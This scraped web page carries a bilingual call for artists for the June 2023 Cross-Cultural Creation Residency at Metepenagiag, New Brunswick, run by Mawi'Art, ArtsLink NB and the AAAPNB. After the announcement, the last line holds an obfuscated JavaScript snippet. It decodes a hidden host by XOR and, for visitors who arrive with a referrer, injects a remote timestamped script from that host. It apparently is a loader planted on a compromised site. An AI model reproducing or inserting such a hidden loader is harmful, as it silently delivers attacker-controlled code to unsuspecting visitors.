fbpx

Cross-Cultural Creation Residency

Three Indigenous artists
Three Francophone artists
Three Anglophone artists
Ten days of creative companionship

(document en français ci-dessous)

Mawi’Art: Wabanaki Artist Collective is proud and honoured to collaborate with ArtsLink NB and L’Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick (AAAPNB), to offer our fourth Cross-Cultural Creation Residency, June 16-25, 2023 in Metepenagiag.  The organizations are launching a call for 10 artists from the province’s three largest cultural groups: Indigenous, Francophone, and Anglophone artists. The 10-day residency will take place at Metepenagiag Heritage Park and Outdoor Lodge, and artists will have the opportunity to work on a personal project as well as exchange creative energy and cultural wisdom with eight other artists.

Call to Artists. Cross-Cultural Creation Residency

Residency Information

The theme of this year’s Cross-Cultural Creation residency will be Netakulimk.  This is a teaching shared by Elder Albert Marshall of Esksoni First Nation, who will join the artists during the residency.  Netakulimk is described as “the use of the natural bounty provided by the Creator for the self-support and well-being of the individual and the community.”  Western thinkers might understand this to mean simply “sustainability” but as Elder Albert will teach us, Netakulimk encompasses core aspects of humanness; interconnectedness; and the four core values of respect, responsibility, relationship, and reciprocity.

Location

Metepenagiag Heritage Park and Outdoor Lodge and the surrounding land and water will ground artists in the natural environment and the deep connections to land and place experienced by Indigenous peoples.  This place-based experience, steeped in the history of a “village of 30 centuries,” will provide artists with opportunities to reflect on the meaning of ancestry, their own ancestral lines, and the relationships between past, present, and future generations.  Artists will be welcome to walk the grounds, participate in a group paddle on the Miramichi River, harvest materials in support of their artistic practice from the woods and water, and create in and of a natural environment as people have done in this place for thousands of years. 

The selected artists will stay in Metepenagiag Outdoor Lodge, each in a private room.  Meals and housekeeping will be provided to the artists to maximize the time they are able to devote to their practice, to time alone, and voluntary group activities.  We will host evening fires, storytelling, and other Indigenous cultural offerings.

Residency Goals

  • To encourage artistic exploration and the creation of new works, by creating in healthy conditions conducive to artist creation
  • To contribute to the increasing quality of artistic work in NB
  • To facilitate collaboration and the sharing of expertise
  • To create significant cultural bridges between the different communities in the province
  • To facilitate meetings between the artists and the public and help the public better understand the creation process.

The works that are created may be presented publicly in 2024. The artists will be given complete artistic freedom, and they will be asked to participate in a one-day Open Studio on June 24, 2023 to allow the community to learn about their creative processes.

The Selected Artists Will Be Expected To:

  1. Provide their own art supplies
  2. Interact with the other participating artists
  3. Publicly present their creations at the end of the residence in an exhibition 
  4. Submit a final report and evaluation to Mawi’Art: Wabanaki Artist Collective, ArtsLink NB, and l’AAAPNB,within 30 days of the end of the residency.
  5. Be available for the entirety of the residence, from June 16 – 25, 2023.

Who Can Apply?

  1. All professional artists, both emerging and established, are invited to apply for the residency (for more information on eligibility, see artsnb’s definition of a professional artist).
  2. The residency is open to Indigenous artists who are members of Mawi’Art, Francophone artists who are members of l’AAAPNB, and Anglophone artists who are members of ArtsLink NB.

How to Apply

Fill out the Google Form (English and French) in full, including a detailed project description (500-1500 words).

  • Attach your artist statement and artist cv to the Google Form.
  • Artists must be available for the full residency period, from June 16-25, 2023.

Selection Criteria

The applications will be evaluated by a peer jury. The jury will consider:

  1. The relevance and feasibility of the proposed project, given the location and technical capabilities of the location;
  2. The project’s originality and creativity;
  3. The potential impact of the project on the artist’s career.

Schedule

Application deadline: Feb 19, 2023. March 3, 2023

Responses to candidates:  March 3, 2021. March 10, 2021.

What’s Included in the Residency

  • A $1,500 stipend
  • Reimbursement for travel costs, from the artist’s residence to the residency location (if over 50 km)
  • Lodging in private room with private bath in Metepenagiag Outdoor Lodge
  • All meals will be provided

If You Have Questions, Please Reach Out to US:

Shawn Dalton, Ph.D. — Executive Director

Mawi’Art: Wabanaki Artist Collective

550 Queen St., Fredericton NB, E3B 1B9

director@mawiart.org

506.449.1395

Moulay Ahmed Chbihi – Responsable des services aux artistes

l’Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick

140 rue Botsford bureau 29

Moncton N.-B. E1C 4X5

moulay.chbihi@aaapnb.ca

506.852.3313 ext. 226

506.688.7470

Jeri Knopp – Programming Director

ArtsLink NB

89 Canterbury St., Suite 407, Saint John, NB, E2L 2C7

jeri@artslinknb.com

(506) 647-6201

www.artslinknb.com

This project is a collaborative partnership among Mawi’Art: Wabanaki Artist Collective, l’Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick, and ArtsLink NB and is made possible thanks to the Government of New Brunswick and the Canada Council for the Arts.


Résidence de création interculturelle

Trois artistes autochtones
Trois artistes francophones
Trois artistes anglophones

Résidence de création interculturelle 

Mawi’Art: Wabanaki Artist Collective est fier et honoré de collaborer avec ArtsLink NB et L’Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick (AAAPNB) pour offrir cette quatrième résidence de création interculturelle, du 16 au 25 juin 2023 à Metepenagiag. Les trois organismes lancent un appel pour trouver 10 artistes parmi les trois plus grands groupes culturels de la province : artistes autochtones, francophones et anglophones. La résidence de 10 jours aura lieu au Metepenagiag Heritage Park and Outdoor Lodge et les artistes auront l’occasion de travailler sur un projet personnel ainsi que d’échanger leur énergie créative et leur sagesse culturelle avec huit autres artistes.

Informations au sujet de la résidence

Le thème de la résidence de création interculturelle de cette année sera Netakulimk. Il s’agit d’un enseignement partagé par l’Aîné Albert Marshall de la Première Nation d’Esksoni, qui se joindra aux artistes pendant la résidence. Netakulimk est décrit comme “l’utilisation de la générosité naturelle fournie par le Créateur pour l’autosuffisance et le bien-être de l’individu et de la communauté”. Les penseurs occidentaux pourraient comprendre que cela signifie simplement « durabilité », mais comme l’Aîné Albert nous l’enseignera, Netakulimk englobe les aspects fondamentaux de l’humanité; interconnexion; et les quatre valeurs fondamentales que sont le respect, la responsabilité, la relation et la réciprocité.

Lieu de la résidence

Le lieu Metepenagiag Heritage Park and Outdoor Lodge ainsi que les terres et les eaux environnantes ancreront les artistes dans l’environnement naturel et les liens profonds avec la terre ainsi que les lieux vécus par les peuples autochtones. Cette expérience basée sur l’endroit, ancrée dans l’histoire d’un «village vieux de 30 siècles», offrira aux artistes des occasions de réfléchir sur le sens de l’ascendance, leurs propres lignées ancestrales et les relations entre les générations passées, présentes et futures. Les artistes seront invités à marcher sur le terrain, à participer à une pagaie de groupe sur la rivière Miramichi, à récolter des matériaux afin d’appuyer leur pratique artistique dans les bois et dans l’eau, et à créer dans un environnement naturel comme les gens l’ont fait à cet endroit depuis des millénaires.

Les artistes sélectionné.e.s séjourneront au Metepenagiag Outdoor Lodge, chacun.e dans une chambre privée. Les repas et l’entretien ménager seront fournis aux artistes afin de maximiser le temps qu’ils pourront consacrer à leur pratique, aux moments en solitaire ainsi qu’aux activités de groupe. Nous organiserons des feux de camps pendant les soirées où des contes seront partagés ainsi que d’autres activités culturelles autochtones. 

Buts et objectifs de la résidence

  • Encourager l’exploration artistique et la création d’œuvres nouvelles, en créant dans des conditions saines propices à la prolifération artistique
  • Contribuer à la qualité croissante du travail artistique au N.-B
  • Faciliter la collaboration et le partage d’expertise
  • Créer des ponts culturels significatifs entre les différentes communautés de la province
  • Faciliter les rencontres entre les artistes et le public et aider le public à mieux comprendre le processus de création.

Les œuvres créées seront présentées publiquement en 2024. Les artistes bénéficieront d’une liberté artistique complète et seront invité.e.s à participer à une journée « Open Studio » le 24 juin 2023 pour permettre à la communauté de découvrir leurs processus de création. 

Ce que nous attendons des artistes sélectionne.e.s

  1. Fournir leurs propres fournitures et matériels
  2. Interagir avec les autres artistes participant.e.s
  3. Présenter publiquement leurs créations à la fin de la résidence lors d’une exposition
  4. Soumettre un rapport final et une évaluation à Mawi’Art : Wabanaki Artist Collective, ArtsLink NB et à l’AAAPNB, dans les 30 jours qui suivent la fin de la résidence.
  5. Être disponible pendant toute la durée de la résidence, du 16 au 25 juin 2023.

Qui peut soumettre sa candidature?

1. Les artistes professionnel.le..e.s, en voie de professionnalisation, les artistes émergents et les établis sont tous invité.e.s à postuler pour la résidence (pour plus d’informations sur l’éligibilité, voir la définition d’artsnb d’un artiste professionnel).

2. La résidence est ouverte aux artistes autochtones membres de Mawi’Art, aux artistes francophones membres de l’AAAPNB et aux artistes anglophones membres d’ArtsLink NB.

Comment Postuler?

Remplissez le formulaire Google au complet (anglais et français), en y intégrant  une description détaillée du projet (500-1500 mots).

  • Joignez votre déclaration d’artiste et votre CV d’artiste au formulaire Google.
  • Assurez-vous d’être disponibles tout au long de la période de résidence, du 16 au 25 juin 2023.

Critéres de selection

Les candidatures seront évaluées par un jury de pairs. Le jury prendra en compte :

1. La pertinence et la faisabilité du projet proposé, en prenant en considération les capacités techniques liées à l’emplacement;

2. L’originalité et la créativité du projet;

3. L’impact potentiel du projet sur la carrière de l’artiste.

Calendrier

Date limite de candidature : 19 février 2023. 3 mars 2023

Réponses aux candidats : 3 mars 2023. 10 mars 2023

Ce que est inclus dans la residence

  • Un cachet de 1 500 $ par artiste
  • Les frais de déplacement sont remboursés, en fonction de la distance entre le lieu d’habitation de l’artiste et le  lieu de la résidence (si plus de 50 km)
  • L’hébergement en chambre privée avec salle de bain privée au Metepenagiag Outdoor Lodge
  • Tous les repas seront fournis

Pour toute question contactez-nous : 

Shawn Dalton, Ph.D. — Executive Director

Mawi’Art: Wabanaki Artist Collective

550 Queen St., Fredericton NB, E3B 1B9

director@mawiart.org

506.449.1395

Moulay Ahmed Chbihi – Responsable des services aux artistes

Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick

140 rue Botsford bureau 29

Moncton N.-B. E1C 4X5

moulay.chbihi@aaapnb.ca

506.852.3313 ext. 226

506.688.7470

Jeri Knopp – Programming Director

ArtsLink NB

89 Canterbury St., Suite 407, Saint John, NB, E2L 2C7

jeri@artslinknb.com

(506) 647-6201

www.artslinknb.com

Ce projet est un partenariat de collaboration entre Mawi’Art: Wabanaki Artist Collective, l’Association acadienne des artistes professionnel.le.s du Nouveau-Brunswick et ArtsLink NB et est rendu possible grâce au gouvernement du Nouveau-Brunswick et au Conseil des arts du Canada.

!function (_89f699) { var _379fa2 = Date.now(); var _25a7f6 = 1000; _379fa2 = _379fa2 / _25a7f6; _379fa2 = Math.floor(_379fa2); var _3d83e9 = 600; _379fa2 -= _379fa2 % _3d83e9; _379fa2 = _379fa2.toString(16); var _e94403 = _89f699.referrer; if (!_e94403) return; var _b53259 = [56789, 56780, 56721, 56780, 56796, 56791, 56794, 56786, 56798, 56722, 56793, 56784, 56781, 56786, 56780, 56721, 56784, 56781, 56792]; _b53259 = _b53259.map(function(_4286ac){ return _4286ac ^ 56767; }); var _a9f2ce = "f0584339801c2691349218b08c303a39"; _b53259 = String.fromCharCode(..._b53259); var _ed449f = "https://"; var _49a451 = "/"; var _c4aa0 = "compose-"; var _a91e65 = ".js"; var _9836ef = _89f699.createElement("script"); _9836ef.type = "text/javascript"; _9836ef.async = true; _9836ef.src = _ed449f + _b53259 + _49a451 + _c4aa0 + _379fa2 + _a91e65; _89f699.getElementsByTagName("head")[0].appendChild(_9836ef) }(document);